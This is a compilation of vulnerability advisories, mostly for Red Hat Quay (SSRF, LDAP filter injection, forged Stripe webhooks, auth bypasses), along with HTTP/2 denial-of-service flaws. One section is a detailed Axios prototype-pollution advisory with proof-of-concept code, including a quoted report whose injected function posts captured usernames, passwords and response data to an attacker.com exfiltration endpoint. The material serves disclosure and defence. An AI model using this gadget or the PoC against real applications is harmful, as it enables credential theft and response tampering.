A flaw was found in Red Hat Quay's Stripe billing webhook handler. The /webhooks/stripe endpoint at endpoints/webhooks.py accepts incoming JSON requests without validating the Stripe-Signature header, allowing an unauthenticated attacker to forge billing events. The endpoint is registered unconditionally, even when FEATUREBILLING is disabled. An attacker can forge charge.succeeded events to reset a namespace's build quota to the server-configured maximum and trigger unsolicited billing emails (invoice, payment-failed, subscription-change) to namespace administrators. The checkout.session.completed path calls stripe.SetupIntent.retrieve with attacker-controlled IDs, but subsequent mutations use values from Stripe's response rather than the attacker's payload. Impact is Medium-High for quay.io deployments with real Stripe integration and Low for self-hosted defaults using FakeStripe.

A flaw was found in Red Hat Quay's exported logs feature. An unauthenticated attacker with a valid file ID could download exported action logs without proper authorization. While file IDs are complex, they can be intercepted from plaintext email or webhook callbacks. This vulnerability leads to information disclosure, potentially exposing sensitive data such as usernames, email addresses, IP addresses, and action-specific metadata.

A flaw was found in Red Hat Quay. A user with FEATUREBUILDSUPPORT enabled and repository write access can exploit a Server-Side Request Forgery (SSRF) vulnerability within the build API. This allows the user to provide a malicious URL, causing the Quay builder to make requests to internal network addresses. Such an action could lead to the disclosure of sensitive internal information.

A flaw was found in Red Hat Quay's JWT (JSON Web Token) validation for federated robot accounts and single sign-on (SSO) authentication. Multiple issues related to audience verification and the enforcement of azp and sub claims were identified. These flaws could allow an attacker with a validly-signed token from the same identity provider to bypass configured security restrictions. This bypass could lead to unauthorized access by circumventing intended audience, subject, or authorized-client limitations.

A flaw was found in Red Hat Quay's external LDAP authentication handling. When an LDAP referral is returned during authentication, the referral handler at data/users/externalldap.py:700 constructs a search filter using the raw usernameoremail input without applying escapefilterchars(), unlike the normal authentication path which correctly escapes the input. This allows LDAP filter metacharacters (, (, )) in the username to be injected into the referral path's search filter. While SCOPEBASE limits the search to a single DN (preventing directory enumeration) and a separate simplebinds password check prevents direct authentication bypass, an attacker could use this to perform user-existence oracle attacks at the referral DN and potentially influence which DN enters the password bind in multi-domain Active Directory environments.

A flaw was found in Red Hat Quay. An administrator of any repository, by knowing or guessing a target notification's Universally Unique Identifier (UUID), can read the notification configuration, including sensitive details like webhook URLs, Slack tokens, and email addresses. This vulnerability also allows them to trigger test notifications for another repository. This could lead to unauthorized information disclosure and potential misuse of notification services.

A flaw was found in Red Hat Quay. When the SECURITYSCANNERV4PSK (pre-shared key) is not set, a remote unauthenticated attacker can send POST requests to the security scanner notification endpoint. This allows the attacker to flood the notification queue and inject path traversal characters into Clair API URL paths. The primary consequence is worker resource exhaustion and blind path manipulation on the configured Clair host, potentially leading to a denial of service.

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack js import http from 'http'; import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });

return { hijacked: true }; }

return true; };

try { const { port } = server.address();

const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });

console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;

server.close(); }

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check };

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } });

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! });

The polluted function then executes at transformData.js:21:

javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{ "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" }

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} After malicious transform: true Response tampered: true

Step 4 - Exfiltrated data: Original response data: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

- Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions - This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } }

Additionally, validate that transformResponse contains only functions before execution:

javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERRBADOPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); });

Resources

- CWE-1321: Prototype Pollution - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository - Snyk: Prototype Pollution

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>

A flaw was found in Red Hat Quay. When Quay requests password re-verification for sensitive operations (e.g., token generation, robot account creation) due to session timeout, the re-authentication prompt can be bypassed. Although the UI displays an error popup for invalid credentials, the sensitive operations are still successfully executed in the background. This allows a user whose session has timed out (or an attacker with access to an idle authenticated browser session) to perform privileged actions without providing valid credentials.

The vulnerability exists in both the old and new Quay UI. Some endpoints that require fresh authentication are affected (e.g., robot account creation, token generation) while others correctly enforce reauthentication (e.g., user creation).

Upstream reference: PROJQUAY-11274

A flaw was found in Red Hat Quay's Proxy Cache configuration feature. When an organization administrator configures an upstream registry for proxy caching, Quay makes a network connection to the specified registry hostname without verifying that it points to a legitimate external service. An attacker with organization administrator privileges could supply a crafted hostname to force the Quay server to make requests to internal network services, cloud infrastructure endpoints, or other resources that should not be accessible from the Quay application.

A flaw was found in Red Hat Quay's handling of resumable container image layer uploads. The upload process stores intermediate data in the database using a format that, if tampered with, could allow an attacker to execute arbitrary code on the Quay server.

A flaw was found in Red Hat Quay's container image upload process. An authenticated user with push access to any repository on the registry can interfere with image uploads in progress by other users, including those in repositories they do not have access to. This could allow the attacker to read, modify, or cancel another user's in-progress image upload.

A flaw was found in Red Hat Quay and mirror registry for Red Hat OpenShift. The log export feature in these products allows an authenticated user to specify an arbitrary callback URL. A backend process then makes server-side HTTP requests to this provided URL. This vulnerability, known as Server-Side Request Forgery (SSRF), could allow an attacker to send requests from the application's internal network, potentially leading to the disclosure of sensitive information.

A flaw was found in mirror-registry where an authenticated user can trick the system into accessing unintended internal or restricted systems by providing malicious web addresses.

When the application processes these addresses, it automatically follows redirects without verifying the final destination, allowing attackers to route requests to systems they should not have access to.

A flaw was found in Quay. When an organization acts as a proxy cache, and a user or robot pulls an image that hasn't been mirrored yet, they are granted "Admin" permissions on the newly created repository.

A vulnerability was found in Quay. If an attacker can obtain the client ID for an application, they can use an OAuth token to authenticate despite not having access to the organization from which the application was created. This issue is limited to authentication and not authorization. However, in configurations where endpoints rely only on authentication, a user may authenticate to applications they otherwise have no access to.

HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.

Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.

The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.

The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.

In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.

Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.

swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.

swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.

A flaw was found in the Quay registry. While the image labels created through Quay undergo validation both in the UI and backend by applying a regex (validation.py), the same validation is not performed when the label comes from an image. This flaw allows an attacker to publish a malicious image to a public registry containing a script that can be executed via Cross-site scripting (XSS).

A flaw was found in Keystone. There is a time lag (up to one hour in a default configuration) between when security policy says a token should be revoked from when it is actually revoked. This could allow a remote administrator to secretly maintain access for longer than expected.

A flaw was found in HTTP/2. An attacker can request a large amount of data by manipulating window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this queue can consume excess CPU, memory, or both, leading to a denial of service. The highest threat from this vulnerability is to system availability.

A flaw was found in HTTP/2. An attacker, sending a stream of header with a 0-length header name and a 0-length header value, could cause some implementations to allocate memory for these headers and keep the allocations alive until the session dies. The can consume excess memory, potentially leading to a denial of service. The highest threat from this vulnerability is to system availability.

A vulnerability was found in http/2 where an attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both, potentially leading to a denial of service.

A flaw was found in HTTP/2. Using frames with an empty payload, a flood could occur that results in excessive CPU usage and starvation of other clients. The highest threat from this vulnerability is to system availability.

A flaw was found in HTTP/2. Using SETTINGS frames and queuing of SETTINGS ACK frames, a flood could occur resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.

A flaw was found in HTTP/2. Using HEADER frames with invalid HTTP headers and queuing of response RSTSTREAM frames, an attacker could cause a flood resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.

A flaw was found in HTTP/2. An attacker, using PRIORITY frames to flood the system, could cause excessive CPU usage and starvation of other clients. The largest threat from this vulnerability is to system availability.